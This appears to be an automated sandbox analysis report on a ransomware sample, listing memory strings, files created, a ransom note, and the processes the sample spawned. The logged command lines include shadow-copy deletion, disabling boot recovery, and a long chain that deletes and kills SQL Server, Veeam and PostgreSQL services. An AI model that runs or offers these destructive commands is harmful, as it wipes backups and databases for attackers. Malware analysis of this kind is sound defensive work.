Source: malware.exe, 00000000.00000003.1753956972.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1753956972.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1796662055.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2234598919.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1677352666.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1677352666.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1680940988.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1680940988.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1647424477.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.2219665386.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1645556240.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1645556240.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1794933942.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1778521424.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2307293284.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2319319382.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1647424477.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.2277969165.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1671748805.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1672247120.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1672247120.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1771670943.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1691543282.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1691543282.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2310414513.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2205959324.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1787591806.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2500262981.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2203914994.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1793900189.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2208007561.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1646452673.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1646452673.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.2502212669.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2325775812.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1646643464.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.2318242633.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2214749280.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1672941763.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1679732093.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1679732093.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2301013019.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2288763877.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1784458150.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1672941763.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1672941763.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2192043615.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1683714904.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1683714904.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1733072833.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1733072833.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1754864885.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1789269676.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2285385346.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2225775706.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2223674952.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1680382637.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1680382637.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2291059360.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2295076254.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1713437758.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1713437758.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2331151163.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2225220813.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1687806460.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1687806460.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1780299229.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2520951632.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1671748805.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1671748805.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2503400133.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2273683265.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1807519561.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1647825175.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1757932692.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2201875066.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2248820205.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2243899749.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2210786693.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1761391299.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2181517478.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1672437931.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1672437931.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2267404545.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2250763069.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1788754184.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1683933742.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1683933742.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1690435894.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1690435894.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1756240349.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1781641354.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1672437931.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.2255304707.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1684859104.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1684859104.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2245601475.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2322707331.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2241039765.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1646643464.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1786468214.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1685802067.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1685802067.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1688687962.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1688687962.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2296284429.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1806957127.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2193372519.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2316107109.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2242859977.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2262573550.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1672247120.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1685954140.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1685954140.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2276982539.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2373819882.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1758968149.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2524145663.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2271073219.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1685212802.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe
Source: malware.exe, 00000000.00000003.1685212802.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2217917248.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2517916860.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1801294445.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.2238638727.0000000000E20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs malware.exe
Source: malware.exe, 00000000.00000003.1647825175.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs malware.exe

Source: malware.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.rans.spyw.evad.winEXE@16/1027@2/5

Source: C:\Users\user\Desktop\malware.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\bc49718863ee53e026d805ec372039e9_9e146be9-c76a-4720-bcdb-53011b87bd06

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6284:120:WilError_03

Source: C:\Users\user\Desktop\malware.exe

File created: C:\Documents and Settings\All Users\Microsoft\Diagnosis\Temp\DiagTrackTraceSlot_alternativeTrace\FILE RECOVERY.txt

Jump to behavior

Source: malware.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\malware.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\malware.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: malware.exe	ReversingLabs: Detection: 100%
Source: malware.exe	Virustotal: Detection: 82%

Source: unknown	Process created: C:\Users\user\Desktop\malware.exe "C:\Users\user\Desktop\malware.exe"
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\vssadmin.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc delete "MSSQLFDLauncher"
Source: unknown	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FILE RECOVERY.txt
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc delete "MSSQLFDLauncher"	Jump to behavior

Source: C:\Users\user\Desktop\malware.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	Section loaded: iphlpapi.dll	Jump to behavior
